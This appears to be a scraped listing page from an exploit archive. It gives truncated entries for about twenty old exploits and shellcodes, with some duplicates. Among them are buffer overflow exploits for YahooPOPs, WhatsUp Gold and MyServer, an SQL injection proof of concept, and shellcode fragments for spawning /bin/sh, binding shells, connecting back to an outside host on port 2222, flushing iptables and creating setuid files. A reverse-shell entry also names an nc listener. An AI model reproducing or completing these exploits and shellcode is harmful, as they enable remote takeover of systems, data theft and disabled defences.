YahooPOPs 1.6 - SMTP Port Buffer Overflow

/ YahooPOPS v1.6 and prior SMTP port buffer overflow exploit v0.1 Exploit code by class101 at DFind.kd-team.com Bind a shellcode to the port 101. Thanx to Behrang [email protected] for the bug discovery Thanx to HDMoore and Metasploit.com for their kickass ASM work Instead of to move...

Microsoft Internet Explorer Install Engine contains a buffer overflow vulnerability

Overview The Active Setup Install Engine in Microsoft Internet Explorer contains a buffer overflow vulnerability. This may allow an attacker to take complete control of a vulnerable system. Description The Active Setup Install Engine inseng.dll permits cabinet files to be launched and executed...

Monolith Games Local Buffer Overflow Exploit

Exploit for unknown platform in category dos / poc ============================================ Monolith Games Local Buffer Overflow Exploit ============================================ / by Luigi Auriemma / include include include include ifdef WIN32 include include "winerr.h" define close...

IPSwitch WhatsUp Gold 8.03 Remote Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ========================================================= IPSwitch WhatsUp Gold 8.03 Remote Buffer Overflow Exploit ========================================================= !/usr/bin/perl LoWNOISE NotmuchG.pl v.1.5...

IPSwitch WhatsUp Gold 8.03 Remote Buffer Overflow Exploit

No description provided by source. !/usr/bin/perl LoWNOISE NotmuchG.pl v.1.5 ================================================ IPSWITCH WhatsUp Gold ver8.03 Remote Buffer Overflow Exploit ================================================ Exploit by ET LoWNOISE Colombia etatcyberspace.org Oct/2004...

Debian DSA-184-1 : krb4 - buffer overflow

Tom Yu and Sam Hartman of MIT discovered another stack-based buffer overflow in the kadmserwrapin function in the Kerberos v4 administration server. This kadmind bug has a working exploit code circulating, hence it is considered serious. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The...

Serendipity 0.7-beta1 SQL Injection Proof of Concept

No description provided by source. Proof of Concept 1 ------------------ Usage: ./sersqlipoc.sh URLtoSerendipityWeblog sersqlipoc.sh ---------8-----------8------------- !/bin/sh echo -n "Username: " curl -I -s...

Microsoft SQL Server 7.0 - Remote Denial of Service (2)

// source: https://www.securityfocus.com/bid/11265/info Reportedly Microsoft SQL Server is affected by a remote denial of service vulnerability. This issue is due to a failure of the application to handle irregular network communications. An attacker may leverage this issue to cause the affected...

MyServer 0.7.1 (POST) Denial Of Service Exploit

Exploit for linux platform in category dos / poc =============================================== MyServer 0.7.1 POST Denial Of Service Exploit =============================================== // PoC to crash the server // / MyServer 0.7.1 POST Denial Of Service vendor URL:...

MyServer 0.7.1 - 'POST' Denial of Service

// PoC to crash the server // / MyServer 0.7.1 POST Denial Of Service vendor URL: http://www.myserverproject.net coded and discovered by: badpack3t for .:sp research labs:. www.security-protocols.com 9.20.2004 Tested on Mandrake 10.0 usage: sp-myserv-0.7.1 targetport default is 80 / include inclu...

bsd/x86 execve /bin/sh setuid (0) 29 bytes

No description provided by source. / BSD version FreeBSD, OpenBSD, NetBSD. [email protected] 29 bytes. -setuid0; -execve/bin/sh; / char shellcode= "\x31\xc0" // xor %eax,%eax "\x50" // push %eax "\xb0\x17" // mov $0x17,%al "\x50" // push %eax "\xcd\x80" // int $0x80 "\x50" // push %eax...

windows/XP-sp1 portshell on port 58821 116 bytes

windows/XP-sp1 portshell on port 58821 116 bytes. Shellcode exploit for win32 platform / 116 bytes bindcode hardcoded for Windows XP SP1 / / but you can change the address if you want / / i made it pretty clear where they are / / the bindcode will bind to port 58821 / / by silicon /...

freebsd/x86 execve /bin/sh 37 bytes

Exploit for freebsd/x86 platform in category shellcode =================================== freebsd/x86 execve /bin/sh 37 bytes =================================== / This is FreeBSD execve code.It is 37 bytes long.I'll try to make it smaller.Till then use this one. signed predator...

bsd/x86 - connect 93 bytes

bsd/x86 connect 93 bytes. Shellcode exploit for bsdx86 platform / the back-connect shellcode. The destination addr is 0x28402ec3 rootteam.host.sk port is 0x8ae 2222. size = 93 bytes little isn't it? Greetz 2 sp00fed written by dev0id rus-sec /EFnet rootteam.host.sk BITS 32 jmp short path main: po...

linux/x86 - iptables -F 58 bytes

linux/x86 iptables -F 58 bytes. Shellcode exploit for linx86 platform / The shellcode flushs the iptables by running /sbin/iptables -F no exit greetz to zilion: man, my code is shorter! size = 58 bytes OS = Linux i386 written by /rootteam/dev0id www.sysworld.net BITS 32 jmp short callme main: pop...

bsd/x86 execve /bin/sh ENCRYPT* 57 bytes

Exploit for bsd/x86 platform in category shellcode ======================================== bsd/x86 execve /bin/sh ENCRYPT 57 bytes ======================================== / BSD version FreeBSD, OpenBSD, NetBSD. email protected 57 bytes. -Encriptado execve/bin/sh; Para mas informacion ver...

linux/x86 eject /dev/cdrom 64 bytes

Exploit for linux/x86 platform in category shellcode =================================== linux/x86 eject /dev/cdrom 64 bytes =================================== / CDROM EJECTING CODE by lamagra .data .globl main .type main,@function start: setreuid 0, 0 xorl %eax,%eax xorl %ebx,%ebx xorl %ecx,%ec...

bsd/x86 reverse portbind 129 bytes

Exploit for bsd/x86 platform in category shellcode ================================== bsd/x86 reverse portbind 129 bytes ================================== / reverse-portshell BSD shellcode by noir / / local usage: ./reverse-shell 192.168.2.33 / / remote: nc -n -v -v -l -p 6969 / / listen on...

os-x/PPC create /tmp/suid 122 bytes

Exploit for os-x/ppc platform in category shellcode =================================== os-x/PPC create /tmp/suid 122 bytes =================================== / PPC OSX/Darwin Shellcode by B-r00t. 2003. Does open; write; close; exit; See ASM below. 122 Bytes. / char shellcode =...

bsd/x86 connect 93 bytes

No description provided by source. / the back-connect shellcode. The destination addr is 0x28402ec3 rootteam.host.sk port is 0x8ae 2222. size = 93 bytes little isn't it? Greetz 2 sp00fed written by dev0id rus-sec /EFnet rootteam.host.sk BITS 32 jmp short path main: pop esi xor eax,eax mov byte...